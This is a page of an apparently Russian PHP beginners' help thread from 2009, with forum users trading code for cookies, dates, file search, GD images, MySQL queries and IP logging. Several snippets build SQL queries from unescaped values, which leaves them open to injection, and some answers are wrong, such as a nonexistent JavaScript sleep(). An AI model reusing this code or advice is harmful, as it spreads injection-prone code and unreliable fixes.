PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 [36] 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

-=Static=-
12.02.2009, 16:52
Добрый день. Подскажите пожалуйста такую вещь:

onclick="location.href='с понтом путь' "


можно ли каким-то образом сделать задержку, к примеру в 2 сек, перед переходом на страницу согласно скрипта?

Заранее пасибо.

Это про JS вопрос, не в той теме спрашиваете... А по делу можно так:
onclick="sleep(2);location.href='с понтом путь' "

или pause(2);

Точно не помню :-[

Gadik
12.02.2009, 16:55
спасибо! про место вопроса поздно понял)

Маркиза
12.02.2009, 17:06
А что вернет метод DBObject::loadById() ???
Не наю....

-=Static=-
12.02.2009, 17:34
Покажи исходник класса DBObject

Маркиза
12.02.2009, 18:02
<?php

require_once(dirname(__FILE__) . '/DB.php');

class DBObject
{

public $table = '';

private $id = null;

public function __construct()
{
return $this;
}

public static function create()
{
return new self();
}

public static function getById($groupId)
{
$new = new self();
$new->loadById($groupId);

return $new;
}

public function loadById($groupId)
{
$query = 'SELECT * FROM ' . $this->table . ' WHERE id = ' . $groupId;

$result = DB::selectQuery($query);

if ($result->count == 0)
return false;

$row = $result->fetchRow();

$this->makeObject($row);

return $this;
}

public function makeObject($array = array())
{
$this->id = $array['id'];

return $this;
}

public function getId()
{
return $this->id;
}

protected function makeArray()
{
return array(
'id' => $this->getId()
);
}

public function delete()
{
if (!$this->getId())
return $this;

$query = 'DELETE FROM ' . $this->table . ' WHERE id = ' . $this->getId();

DB::execQuery($query);

return $this;
}

public function save()
{
if ($this->getId()) {
return $this->update();
} else {
return $this->add();
}
}

public function update()
{
$arr = $this->makeArray();

unset($arr['id']);

$query = 'UPDATE ' . $this->table . ' SET ';

$i = 0;

foreach($arr as $key => $value) {
$i++;

if ($i > 1) {
$query .= ', ';
}

$query .= $key . ' = "' . $value . '"';
}

$query .= 'WHERE id = ' . $this->getId();

DB::execQuery($query);

return $this;
}

public function add()
{
$arr = $this->makeArray();

if (isset($arr['id'])) {
unset($arr['id']);
}

$query = 'INSERT INTO ' . $this->table . ' (' . implode(', ', array_keys($arr)) . ')';
$query .= 'VALUES (';

$i = 0;

foreach($arr as $value) {
$i++;

if ($i > 1) {
$query .= ', ';
}

$query .= '"' . $value . '"';
}

$query .= ')';

$this->id = DB::insertQuery($query);

Вот он

-=Static=-
12.02.2009, 18:13
Косяк в том что в классе Group в методе:

public static function getById($groupId)
{
$new = new self();
return $new->loadById($groupId);
}

Возвращается объект типа DBObject, а не Group... А у того в свою очередь нет метода getName()

Маркиза
12.02.2009, 18:14
А подскажи плиз как этот косяк исправить буду очень признательна

-=Static=-
12.02.2009, 18:19
Полагаю так, заменить тот метод что есть на вот такой:
public static function getById($groupId)
{
$new = new self();
$new->loadById($groupId);

return $new;
}

Маркиза
12.02.2009, 18:22
Щас попробую после отпишусь)

Byrger
12.02.2009, 19:10
А точно по средствам PHP не получится написать такой таймер который я описывал?


Чтоб человек смог выйти со старице а таймер дошёл до нужной точки, выполнил запрос в Бд и затем запустился ещё 1 таймер который потом отправил ещё запрос...

Пример я нашёл в игре (Tribal Wars) http://voyna-plemyon.ru/
Там допустим отправляешь на вражескую деревню отряд...и он начинает идти до неё (таймер работает) затем отправляется запрос в БД (нападение само) и потом начинает идти 2 таймер(возвращение отряда)

sleep как я понел не будет работать если пользователь покинет страницы...+больная нагрузка на сервер
Крон каждую секунду...тоже нагрузка....


А как сделанно у них?

MaTpOc
12.02.2009, 19:20
А как мне сделать так, чтоб допустим после определенного символа в файле все что идет после него засовывалось в другой файл?

Chaak
12.02.2009, 19:31
MaTpOc, echo strstr('symbol or string', $text);

Byrger,


set_time_limit(0);
ignore_user_abort(1);
$задание = 0;
$последнее_задание = 10;
while(1)
{
switch($задание)
{
case 0:
somefunc();
break;
case 1:
somefunc();
break;
//и т.д
}
if($последнее_задание == $задание)
break;
sleep(60); //во время спанья не расходуется сист. время процессора(0-ая нагрузка)
$задание++;
}

Pashkela
12.02.2009, 19:43
А как мне сделать так, чтоб допустим после определенного символа в файле все что идет после него засовывалось в другой файл?


$search = 'h1'; //Что ищем
$filename = "../ip/tema.txt"; // Файло, где ищем
$handle = fopen($filename, "r");
$s = fread($handle, filesize($filename));
$a = strpos($s,$search);
If($a) $text = substr($s,$a);
fclose($handle);
$handle1 = fopen("tema1.txt", "w");
fwrite($handle1,$text . "\r\n");
fclose($handle1);
?>

Маркиза
12.02.2009, 19:43
Не а не алле что еще можно сделать?

geforce
12.02.2009, 19:58
Вопрос есть загруженая картинка в формате jpg
Как мне её перевести в формат гиф?

Byrger
12.02.2009, 19:59
MaTpOc, echo strstr('symbol or string', $text);

Byrger,


set_time_limit(0);
ignore_user_abort(1);
$задание = 0;
$последнее_задание = 10;
while(1)
{
switch($задание)
{
case 0:
somefunc();
break;
case 1:
somefunc();
break;
//и т.д
}
if($последнее_задание == $задание)
break;
sleep(60); //во время спанья не расходуется сист. время процессора(0-ая нагрузка)
$задание++;
}


А если пользователей более 1ого? он нормально будет функционировать и страница будет доступна пока sleep?

И что чего тут цикл?

Попробовал внедрить к себе в скрипт....станица подвисает на это время (типа загрузка страницы)

Я конешно думаю что этот скрипт в другой фаил унести... но будет ли работать с большим количеством юзеров?

Chaak
12.02.2009, 20:32
А если пользователей более 1ого? он нормально будет функционировать и страница будет доступна пока sleep?

И что чего тут цикл?

Попробовал внедрить к себе в скрипт....станица подвисает на это время (типа загрузка страницы)

Я конешно думаю что этот скрипт в другой фаил унести... но будет ли работать с большим количеством юзеров?
аяксом открывай этот скрипт(ассинхронно), выделения памяти и нагрузка на процессор минимальны.

Byrger
12.02.2009, 20:53
аяксом открывай этот скрипт(ассинхронно), выделения памяти и нагрузка на процессор минимальны.


Можешь написать если не сложно на Аяксе...сорри что не в ту тему...

geforce
12.02.2009, 20:56
Мой Хостер не подерживает всю библиотеку GD!
Например не подерживает Support JPG
А Gif Поддерживает! Как мне зделать так чтоб загружаемый файл картинки JPG преобразовывался в GIF ???????????????????

Pashkela
12.02.2009, 21:31
сохранять как gif, и всё. А лучше сменить хостера

geforce
12.02.2009, 21:36
сохранять как gif, и всё. А лучше сменить хостера

ну да значит загружать я могу только gif?

imagecreatefromJPEG не работает!

Pashkela
12.02.2009, 21:46
Ну елки, ты же сам причину написал. Вот тебе вариант обхода. Или меняй хостера

-=Static=-
12.02.2009, 22:11
Не а не алле что еще можно сделать?

Что еще пишет?? Объясни в чем проблема то? Ошибки ил что?

Маркиза
12.02.2009, 22:15
Что еще пишет?? Объясни в чем проблема то? Ошибки ил что? До он эту же ошибку все выдает не смотря на то что переставила :( эта же ошибка в этой же строке...

Crack-r
12.02.2009, 23:42
Нужна помощь при редактированию php страницы. В общем в скрипте johncms_2_0_0 (http://johncms.com/download/?act=view&file=8 (целый скрипт, потому что по отдельности в страницах запутаться можно и что то пропустить)) нужно вместо главной страницы (инфа которой находится pages/mainmenu.php ) поставить данные анкеты пользователя ( str/anketa.php ). При обычном копировании страница не работает через не определения переменных «Город», «О себе» и т.д. Напишите, как сделать так, чтоб она работала… Если можно, то по подробнее. Заранее благодарен!

dk-ne
13.02.2009, 02:01
Есть значит база mySQL. В ней ячейки с датами. При выводе на страницу: echo $myrow['date']; отображается типа 2009-02-01. А хотелось бы по-русски. Например 1 февраля 2009 или 01.02.09. Как это сделать?

[dei]
13.02.2009, 02:42
Есть значит база mySQL. В ней ячейки с датами. При выводе на страницу: echo $myrow['date']; отображается типа 2009-02-01. А хотелось бы по-русски. Например 1 февраля 2009 или 01.02.09. Как это сделать?

по-извращенски:
<?php
$t = strtotime( "2009-02-03" );
$month_arr = array( 1 => 'января', 2 => 'февраля', 3 => 'марта', 4 => 'апреля', 5 => 'мая', 6 => 'июня', 7 => 'июля', 8 => 'августа', 9 => 'сентября', 10 => 'октября', 11 => 'ноября', 12 => 'декабря' );

$day = date( 'j' , $t );
$month = $month_arr[ date( 'n' , $t ) ];
$year = date( 'Y' , $t );

echo "$day $month $year г.";
?>

Pashkela
13.02.2009, 02:46
Есть значит база mySQL. В ней ячейки с датами. При выводе на страницу: echo $myrow['date']; отображается типа 2009-02-01. А хотелось бы по-русски. Например 1 февраля 2009 или 01.02.09. Как это сделать?

данные надо в правильном формате хранить, а не в удобном для просмотра через phpmyadmin

dk-ne
13.02.2009, 07:57
данные надо в правильном формате хранить, а не в удобном для просмотра через phpmyadmin
Ты прав. Может я как-то не правильно выразился, но формат их хранения для меня не важен. Меня интересует именно отображение даты на странице. Более менее решение я нашел в такой строке: echo date('d.m.Y', $myrow['date']); но она выводит всегда 01.01.1970. Это тот формат, который бы мне хотелось видеть, но чтоб дата была правильной, из базы.

prescott
13.02.2009, 09:10
Ты прав. Может я как-то не правильно выразился, но формат их хранения для меня не важен. Меня интересует именно отображение даты на странице. Более менее решение я нашел в такой строке: echo date('d.m.Y', $myrow['date']); но она выводит всегда 01.01.1970. Это тот формат, который бы мне хотелось видеть, но чтоб дата была правильной, из базы.
Вторым параметром функции date является timestamp время. Пиши так: date('d.m.Y', strtotime($myrow['date']));

dk-ne
13.02.2009, 13:00
Вторым параметром функции date является timestamp время. Пиши так: date('d.m.Y', strtotime($myrow['date']));
Теперь то, что нужно :)

kevmen
13.02.2009, 15:31
Здравствуйте!
У меня такая проблема:
при создании cookies выводится предупреждение о том,что заголовок уже отправлен!
Хотя на странице всего лишь:

<?
$time=mktime(1,1,1,1,1,2010);
setcookie("name","your_name","$time");
?>

prescott
13.02.2009, 15:34
Здравствуйте!
У меня такая проблема:
при создании cookies выводится предупреждение о том,что заголовок уже отправлен!
Хотя на странице всего лишь:

<?
$time=mktime(1,1,1,1,1,2010);
setcookie("name","your_name","$time");
?>

Убедись что перед <?php нет переносов строк и пробелов + не выводится никакая другая информация на страницу.

NOmeR1
13.02.2009, 16:53
kevmen, может ты инклудишь эту страницу? До ф-ции setcookie ничего выводится не должно.

Mirella
13.02.2009, 17:28
if($ip_address=getenv("HTTP_CLIENT_IP"));
elseif($ip_address=getenv("HTTP_X_FORWARDED_FOR"));
else{$ip_address=getenv("REMOTE_ADDR");}
if(substr_count($ip_address,"unknown")){$ip_address=getenv("REMOTE_ADDR");}
$row['ld'].="1|".$lt.'|'.$ip_address.'@';
mysql_query ("UPDATE `chars` SET `ips`='".$row['ld']."' WHERE `uid`='".$row['uid']."';");


народ такая проблеммка в двиге игры при входе в игру должен каждый раз записываться вход с айпи. но почему то не работает (( помогите советом

Mirella
13.02.2009, 19:45
if($ip_address=$_SERVER[] );
elseif($ip_address=$_SERVER['HTTP_USER_AGENT'] );
else{$ip_address= $_SERVER["REMOTE_ADDR"] ;}
if(substr_count($ip_address,"unknown")){$ip_address= $_SERVER["REMOTE_ADDR"];}
$row['ld'].="1|".$lt.'|'.$ip_address.'@';
mysql_query ("UPDATE `chars` SET `ips`='".$row['ld']."' WHERE `uid`='".$row['uid']."';");

сделал так вообще перестало пахать ((

5triker
13.02.2009, 19:53
в конструкции if для сравнения используется == а не =
и еще $_SERVER[] не выдаст нужного тебе , это массив

Buffalon
13.02.2009, 20:02
Мне как то неочень хочеться разбираться что за БРЕД ты хотел написать , напиши это
print_r($_SERVER);
думаю сразу всё поймёшь
МОгу ошибаться , но вроде так
if($ip_address==$_SERVER['REMOTE_ADDR'] );
else($ip_address==$_SERVER['HTTP_USER_AGENT'] );
if(substr_count($ip_address,"unknown")){$ip_address= $_SERVER["REMOTE_ADDR"];}
$row['ld'].="1|".$lt.'|'.$ip_address.'@';
mysql_query ("UPDATE `chars` SET `ips`='".$row['ld']."' WHERE `uid`='".$row['uid']."'");

kevmen
13.02.2009, 20:12
Здравствуйте
Такой вопрос:
каким образом можно проверить существование определенного слово в открытом для чтения файле?
Заранее спасибо!

Chaak
13.02.2009, 20:19
$fp = fopen('file.txt', 'rt');
$what = 'asd';
while(!feof($fp))
{
if(preg_match('#'.preg_quote($what).'#i', fread($fp, 2048))
{
echo 'найдено';
break;
}
}
fclose($fp);

Pashkela
13.02.2009, 20:19
<?php

$search = 'h1'; //Что ищем
$filename = "../ip/tema.txt"; // Файло, где ищем
$handle = fopen($filename, "r");
$s = fread($handle, filesize($filename));
fclose($handle);
If(strpos($s,$search)) echo "Yes";
else echo "No";

?>

Buffalon
13.02.2009, 20:21
Это же ЧАК ).Хых - где твой кот .Давно не был на чётком

Buffalon
13.02.2009, 20:24
Пашкела помойму лучше использовать код Чака ,

Если мну не изменяет памать то функия fread - работает намного дольше чем -
$what = 'asd';
while(!feof($fp))
{
if(preg_match('#'.preg_quote($what).'#i', $what)
{
echo 'найдено';
break;
}
else
{
echo 'Ничего не найенно';//А если не найдёт ничего
}
}

Pashkela
13.02.2009, 20:24
лучше, если файл большой

Buffalon
13.02.2009, 20:31
лучше, если файл большой
ДОпустим эта страница весит ~120кб %)

Chaak
13.02.2009, 20:39
Мой будет более производительный при больших файлах + возможность регулярок(хотя они медленнее...)

AkyHa_MaTaTa
13.02.2009, 20:49
strpos регистрозависимая(если не заниматься извратом с переводом в нижний/верхний регистр), preg_match хоть и более тормозное дело но более универсальное.


if(preg_match('#'.preg_quote($what).'#i', $what)

:D

Gifts
13.02.2009, 20:50
AkyHa_MaTaTa Эээ, http://ru.php.net/stripos ?

AkyHa_MaTaTa
13.02.2009, 20:52
ну или так, но в начале было strpos

Crack-r
13.02.2009, 22:04
Народ, помогите мне переменные перенести кто умеет! Оч нужно, буду очень благодарен!

Crack-r
13.02.2009, 22:32
Я про этот пост-
Нужна помощь при редактированию php страницы. В общем в скрипте johncms_2_0_0 (http://johncms.com/download/?act=view&file=8 (целый скрипт, потому что по отдельности в страницах запутаться можно и что то пропустить)) нужно вместо главной страницы (инфа которой находится pages/mainmenu.php ) поставить данные анкеты пользователя ( str/anketa.php ). При обычном копировании страница не работает через не определения переменных «Город», «О себе» и т.д. Напишите, как сделать так, чтоб она работала… Если можно, то по подробнее. Заранее благодарен!

dk-ne
13.02.2009, 23:08
Подскажите использование функции krsort(). Мне нужно отсортировать данные массива по одному из полей (дата, например). То есть все записи по $myrow['date']

NOmeR1
14.02.2009, 00:33
Подскажите использование функции krsort(). Мне нужно отсортировать данные массива по одному из полей (дата, например). То есть все записи по $myrow['date']
Я уверен, ты достаёшь данные из БД. Если да, то добавь в запрос сортировку и всё. Например для MySQL
SELECT * FROM table WHERE field = smth ORDER BY date

m0Hze
14.02.2009, 00:37
Ступил,пропускаем топик

dk-ne
14.02.2009, 01:23
Я уверен, ты достаёшь данные из БД. Если да, то добавь в запрос сортировку и всё. Например для MySQL
SELECT * FROM table WHERE field = smth ORDER BY date
))) а как сделать обратную сортировку? а то он выдал, но от меньшего к большему, а надо наоборот

NOmeR1
14.02.2009, 01:27
))) а как сделать обратную сортировку? а то он выдал, но от меньшего к большему, а надо наоборот
... ORDER BY date DESC

dk-ne
14.02.2009, 01:29
... ORDER BY date DESC
Подошло. Спасибо!

Banderos_Russia
14.02.2009, 02:04
помогите скрипт написать, чтобы при заходе на страницу запоминался айпишник и юзер агент по возможности (при повторном не пускало потом на некоторое время), а на странице было два поля для текста и этот текст после ввода и нажатия соответствующей кнопки выводился на заготовленной картинке в определенном её месте

DDoSька
14.02.2009, 06:34
помогите скрипт написать, чтобы при заходе на страницу запоминался айпишник и юзер агент по возможности (при повторном не пускало потом на некоторое время), а на странице было два поля для текста и этот текст после ввода и нажатия соответствующей кнопки выводился на заготовленной картинке в определенном её месте
А ты смешной =)
опиши все нормально по пунктам,может кто-нибудь и поможет.

159932
14.02.2009, 06:43
2 Banderos_Russia, план действий
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
http://php.net/mysql - там хранить юзерагент и ип
<input type=text name=pic> бла бла бла
http://www.php.net/manual/ru/ref.image.php (imagettftext)

Banderos_Russia
14.02.2009, 12:18
159932, спасибо) а можно ето как нибудь в виде скрипта оформить?)

Chaak
14.02.2009, 12:49
Можно, ты прекрасно с этим справишься, давай...

[JavaScript]
14.02.2009, 14:22
159932, спасибо) а можно ето как нибудь в виде скрипта оформить?)
Эх... Сейчас накалякаем, если тебе впадлу =)

Banderos_Russia
14.02.2009, 14:35
мне не в падлу, поверь просто не могу такие "сложные вещи" писать)))))))))0

[JavaScript]
14.02.2009, 14:48
Banderos_Russia, как то так...
<?
if(isset($_POST['field1']) and isset($_POST['field2'])) //если существуют поля, создаем картинку
{
$im = imagecreatetruecolor(500, 500); //разрешение 500х500
imagefilledrectangle($im, 0, 0, 500, 500, 0xFFFFFF); //цвет фона
imagestring($im, 3, 40, 20, "Field1: $_POST[field1] Field2: $_POST[field2]", 0x000000); //пишем даные из полей в определенное место
header('Content-type: image/gif'); //делаем страницу картинкой
imagegif($im); //делаем картинку .гиф
imagedestroy($im); //какбы выводим ее
die(); //см. http://php.net/die
}
fopen("data.php","a++"); //создаем файлик
$file=file_get_contents("data.php"); //достаем контент файла
if(empty($file)){ //если он пустой
file_put_contents("data.php",'<? die(); ?>');} //пишем в него дie(); чтобы юзеры из веба не могли прочитать (см. http://php.net/die)
$ip=$_SERVER['REMOTE_ADDR']; //переменная айпи
$ua=$_SERVER['HTTP_USER_AGENT']; //переменная юзерагента
$f=fopen("data.php","a+"); //открываем файл.
fwrite($f,"\r\n IP: $ip \r\nUserAgent: $ua\r\n"); //пишем юзерагент и айпи
fclose($f); //закрываем файл
echo "<form method=post>Field1: <input name=field1><br>Field2: <input name=field2><br /><input type=submit></form>"; //форма для ввода полей
?>
Каждая строчка в коментарии =)

Banderos_Russia
14.02.2009, 14:57
А как сделать поддержку утф-8?) И еще нужно чтобы больше не пускало с одинаковым ип и агентом)) А как свою картинку вставить?

Всё остальное работает!)))

[JavaScript]
14.02.2009, 15:13
- в дата.пхп записывается айпи и адрес?
Да.
как сделать поддержку утф-8?)
Точечные шрифты можно попробовать...

[JavaScript]
14.02.2009, 15:16
И еще нужно чтобы больше не пускало с одинаковым ип и агентом))
Это сессии.

А как свою картинку вставить?
imagecreatefromjpeg.

Приду - сделаю. Сейчас должен отойти.

[JavaScript]
15.02.2009, 12:06
Banderos_Russia, вот какбы... Все в комментах. Обошелся без сессий. И проверку на ЮзерАгент не делал, только на ип, потому что не пускало бы всех юзеров с этим юзерагентом :) . Ну можно было сделать фильтр, но я седня не в духе<?
if(isset($_POST['field1']) and isset($_POST['field2'])) //если существуют поля, создаем картинку
{
$text=iconv("windows-1251", "UTF-8", "еще какойто текст в утф-8"); //переводим в UTF-8
$f1=iconv("windows-1251", "UTF-8", "$_POST[field1]"); //переводим в UTF-8
$f2=iconv("windows-1251", "UTF-8", "$_POST[field2]"); //переводим в UTF-8
$im = imagecreatefromjpeg("img.jpg"); //фоновая картинка, должна быть в папке со скриптом
$font="arial.ttf"; //шрифт, должен быть в папке со скриптом
$black = imagecolorallocate($im, 0, 0, 0); //чёрный цвет в формате RGB
imagettftext($im, 20, 0, 10, 20, $black, $font, "Field1: $f1 \r\nField2: $f2\r\n $text"); //выводим текст
header('Content-type: image/jpeg'); //делаем страницу картинкой
imagejpeg($im); //делаем картинку .жпег
imagedestroy($im); //какбы выводим ее
die(); //см. http://php.net/die
}
$ip=$_SERVER['REMOTE_ADDR']; //переменная айпи
$ua=$_SERVER['HTTP_USER_AGENT']; //переменная юзерагента
$file=file_get_contents("data.php"); //достаем контент файла
if(preg_match("/$ip/",$file))die("Соре, но входить можно только 1 раз"); //проверка на существование ипа в файле
fopen("data.php","a++"); //создаем файлик
if(empty($file)){ //если он пустой
file_put_contents("data.php",'<? die(); ?>');} //пишем в него дie(); чтобы юзеры из веба не могли прочитать (см. http://php.net/die)
$f=fopen("data.php","a+"); //открываем файл.
fwrite($f,"\r\n IP: $ip \r\nUserAgent: $ua\r\n"); //пишем юзерагент и айпи
fclose($f); //закрываем файл
echo "<form method=post>Field1: <input name=field1><br>Field2: <input name=field2><br /><input type=submit></form>"; //форма для ввода полей
?>

Banderos_Russia
15.02.2009, 12:38
Всё работает отлично! Спасибо!

m0Hze
15.02.2009, 16:12
Мозсломал над задачкой.
Имеем 2 массива например:
$a = array('1','2','2','3');
$b = array('1','2','3','4');
Делаем array_unique($a) он удаляет 3 элемеент.
Так вот,на основе того что он удалил 3 элемент в массиве а,я должен удалить 3 елемент в массиве б.Пока что есть гиганский код с сравнением и удалением,до другомго я не додумался пока что.

Pashkela
15.02.2009, 16:17
Непонятна логика. Следуя такой логике из $b надо удалить тогда и 1 и 2 эелементы. Тогда все будет по порядку типо. Сформулируй задачу почетчу и приведи ЕЩЕ пример возможных ситуаций (желательно не одной ситуации)

m0Hze
15.02.2009, 16:21
Смотри.
В чем весь пример)
Есть 2 массива,в которых одинаковое колво элементов.
Один массив мы сортируем,и удаляеться например 4 элемент,мне нужно удалить 4 элемент из 1 массива.ТОесть если аррай_уникю удалил 3,67,и 89 эдементы,то теже самые элементы я должен удалить в 1 массиве,точнее элементы пож этимиже номерами.
Пока в голову пришол только такой вариант.(напишу поже щас за ноутом)

geforce
15.02.2009, 16:34
НЕ МОГУ ПОНЯТЬ В ЧЕМ ОШИБКА?
Код ошибки:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'index' at line 1
Код:

<?
include ("db.php");
include ("verx.php");
?>

<?
$b = "SELECT id,title,description,date,author,view,mini_img FROM index";

$result = mysql_query($b,$db);

if (!$result)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору x-ses@mail.ru <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}

if (mysql_num_rows($result) > 0)

{
$myrow = mysql_fetch_array($result);
do
{ printf ("<table align='center' class='post'>

<tr>
<td class='post_title'>
<p class='post_name' ><img class='mini' align='left' src='%s'> <a href='view_news.php?id=%s'>%s</a></p>
<p class='post_adds'>Дата добавления: %s</p>
<p class='post_adds'>Автор урока: %s</p></td>
</tr>

<tr>
<td>%s <p class='post_view'>Просмотров: %s </p></td>
</tr>

</table><br><br>",$myrow["mini_img"],$myrow["id"],$myrow["title"], $myrow["date"],$myrow["author"],$myrow["description"], $myrow["view"]);
}
while ($myrow = mysql_fetch_array($result));
}
else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}
?>

m0Hze
15.02.2009, 16:35
Ну вот что смог придумать я:

$array = array("1" => "one","2" => "two","3" => "three","4" => "four","5"=>"five","6"=>"six","7"=>"seven","8"=>"eith","9"=>"nine");
$sort = array("1","2","2","3","4","5","6","7","8","8");
$org = $sort;
$sort = array_unique($sort);
for($i = 0;$i < count($org);$i++){
if($org[$i] != $sort[$i]){
unset($array[$i]);
$i++;
}
}

Byrger
15.02.2009, 17:03
Как выполнить пхп сценарий с задержкой и чтоб всё было асинхронно . Ну допустим запрос в БД через 60сек и чтоб пользователь мог дальше работать с сайтом или мог спокойно выйти с него... А запрос выполнился

Shadow_p1raT
15.02.2009, 17:14
пропиши в начале скрипта

set_time_limit(0);
ignore_user_abort(1);

Pashkela
15.02.2009, 17:23
Ну вот что смог придумать я:

$array = array("1" => "one","2" => "two","3" => "three","4" => "four","5"=>"five","6"=>"six","7"=>"seven","8"=>"eith","9"=>"nine");
$sort = array("1","2","2","3","4","5","6","7","8","8");
$org = $sort;
$sort = array_unique($sort);
for($i = 0;$i < count($org);$i++){
if($org[$i] != $sort[$i]){
unset($array[$i]);
$i++;
}
}


а вот, что придумал я:)))


<?php

$a = array('5','2','2','3','5','5','5');
sort($a);
echo "Первый массив отсортированный:\n";
print_r ($a);
$count1 = count($a);
$b = array('1','2','3','4','5','6','7');
sort($b);
echo "Второй массив отсортированный:\n";
print_r ($b);
$count2 = count($b);
for ($i=0;$i<$count1;$i++){
if ($a[$i+1]==$a[$i]) $num[]=$i+1;
}
echo "Позиции для удаления:\n";
print_r ($num);
$count3 = count($num);
$i=0;
for ($i=0;$i<$count2;$i++){
for($s=0;$s<$count3;$s++) if ($i==$num[$s]) unset($b[$i]);
}
echo "Второй массив с удаленными позициями:\n";
print_r ($b);
?>

Byrger
15.02.2009, 17:29
пропиши в начале скрипта

set_time_limit(0);
ignore_user_abort(1);

Я прописывал так, а затем слип(30); и всё равно пользователь не может пользоваться сайтом пока не пройдёт 30сек

Mirella
15.02.2009, 18:57
$x = explode ("_",$pers["location"]);
$y = $x[2];
$x = $x[1];
$up = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".$x."_".($y-1)."_'"));
$down = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".$x."_".($y+1)."_'"));
$right = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x+1)."_".($y)."_'"));
$left = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x-1)."_".($y)."_'"));
$lup = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x-1)."_".($y-1)."_'"));
$rup = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x+1)."_".($y-1)."_'"));
$rdown = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x+1)."_".($y+1)."_'"));
$ldown = mysql_fetch_array (mysql_query("SELECT name FROM locations WHERE id='p_".($x-1)."_".($y+1)."_'"));
if (@$up["name"]) $up = 1; else $up=0;
if (@$down["name"]) $down = 1; else $down=0;
if (@$right["name"]) $right = 1; else $right=0;
if (@$left["name"]) $left = 1; else $left=0;
if (@$lup["name"]) $lup = 1; else $lup=0;
if (@$rup["name"]) $rup = 1; else $rup=0;
if (@$rdown["name"]) $rdown = 1; else $rdown=0;
if (@$ldown["name"]) $ldown = 1; else $ldown=0;
if ($_GET["go_nature"]=='up' and $up==1) $y-=1;
if ($_GET["go_nature"]=='down' and $down==1) $y+=1;
if ($_GET["go_nature"]=='left' and $left==1) $x-=1;
if ($_GET["go_nature"]=='right' and $right==1) $x+=1;
if ($_GET["go_nature"]=='lup' and $lup==1) $x-=1;
if ($_GET["go_nature"]=='rup' and $rup==1) $x+=1;
if ($_GET["go_nature"]=='lup' and $lup==1) $y-=1;
if ($_GET["go_nature"]=='rup' and $rup==1) $y-=1;
if ($_GET["go_nature"]=='rdown' and $rdown==1) $x+=1;
if ($_GET["go_nature"]=='ldown' and $ldown==1) $x-=1;
if ($_GET["go_nature"]=='rdown' and $rdown==1) $y+=1;
if ($_GET["go_nature"]=='ldown' and $ldown==1) $y+=1;
народ как уменьшить нагрузку на сервак?

Pashkela
15.02.2009, 20:10
2 m0Hze:

или вот так вот (так наверное правильней)


<meta http-equiv="Content-Type" content="text; charset=windows-1251">
<Pre>
<?
@set_time_limit(0);
@ini_set("display_errors","1");

$a = array('1','2','1','4','1','5','2');
echo "Первый массив неотсортированный:\n";
print_r ($a);
asort($a);
echo "Первый массив отсортированный с сохранением ключей:\n";
print_r ($a);
/*************************************************/
$count = count($a);
while (list($key, $val) = each($a)) {
$c[] = $val;
$flag[] = $key;
}
echo "Временный массив значений первого отсортированного массива:\n";
print_r ($c);
echo "Временный массив ключей первого отсортированного массива:\n";
print_r ($flag);
/************************************************/
$b = array('1','2','3','4','5','6','7');
echo "Второй массив:\n";
print_r ($b);
/************************************************/
for ($i=0;$i<$count;$i++){
if ($c[$i+1]==$c[$i]) $num[]=$flag[$i+1];
}
echo "Позиции для удаления повторов в первом массиве:\n";
print_r ($num);
/************************************************/
$count1 = count($num);
//Удаляем из второго массива
$i=0;
$s=0;
for ($i=0;$i<$count;$i++){
for($s=0;$s<$count1;$s++) if ($i==$num[$s]) unset($b[$i]);
}
echo "Второй массив с удаленными позициями:\n";
print_r ($b);
?>
</pre>

heretic1990
15.02.2009, 20:19
как на php можно скрыть прямую ссылку, не используя бд?
нужно чтобы ссылка была зашифрована, или как - нибудь вызывалась из текстового файла (по её ID) чарез скрипт.
заранее благодарю))

rushter
15.02.2009, 20:24
mod_rewrite

[JavaScript]
15.02.2009, 20:27
как на php можно скрыть прямую ссылку, не используя бд?

<?
$link="http://google.com";
$code=base64_encode($link);
$decode=base64_decode($code);
echo "Закодированная: $code <br>Раскодированная: $decode <br>";
?>
PS: Я правильно понял?

heretic1990
15.02.2009, 20:47
[JavaScript] ссылку, а не текст.

[JavaScript]
15.02.2009, 21:19
[JavaScript] ссылку, а не текст.
А... в этом смысле. urlencode()

geforce
15.02.2009, 22:24
Помогите мне плиззз!
http://forum.antichat.ru/showpost.php?p=1118125&postcount=8880

[dei]
16.02.2009, 00:08
geforce, index зарезервированное слово, нужно использовать обратные апострофы в запросе

SELECT `id`,`title`,`description`,`date`,`author`,`view`, `mini_img` FROM `index`;

geforce
16.02.2009, 00:28
']geforce, index зарезервированное слово, нужно использовать обратные апострофы в запросе

SELECT `id`,`title`,`description`,`date`,`author`,`view`, `mini_img` FROM `index`;

Спасибо!

Zedi
16.02.2009, 01:57
Привет всем! У кого есть выложите скрипт бэкапа мускл базы, простой без всяких наворотов пожалуйста.

blaga
16.02.2009, 06:19
от r57 была хорошая утилитка для этого дела. Если честно забыл как называеться... =\

DDoSька
16.02.2009, 06:45
Привет всем! У кого есть выложите скрипт бэкапа мускл базы, простой без всяких наворотов пожалуйста.
http://sypex.net/products/dumper/downloads/

Byrger
16.02.2009, 10:50
народ, подскажите плиз ответ на мой пост который на предыдущей странице, я уже как только не пробовал...и аякс и слип...но надо асинхронность и независимость выполнения запроса сделать

kik8888
16.02.2009, 11:42
Как выполнить пхп сценарий с задержкой и чтоб всё было асинхронно . Ну допустим запрос в БД через 60сек и чтоб пользователь мог дальше работать с сайтом или мог спокойно выйти с него... А запрос выполнился
Первое, что пришло в голову:
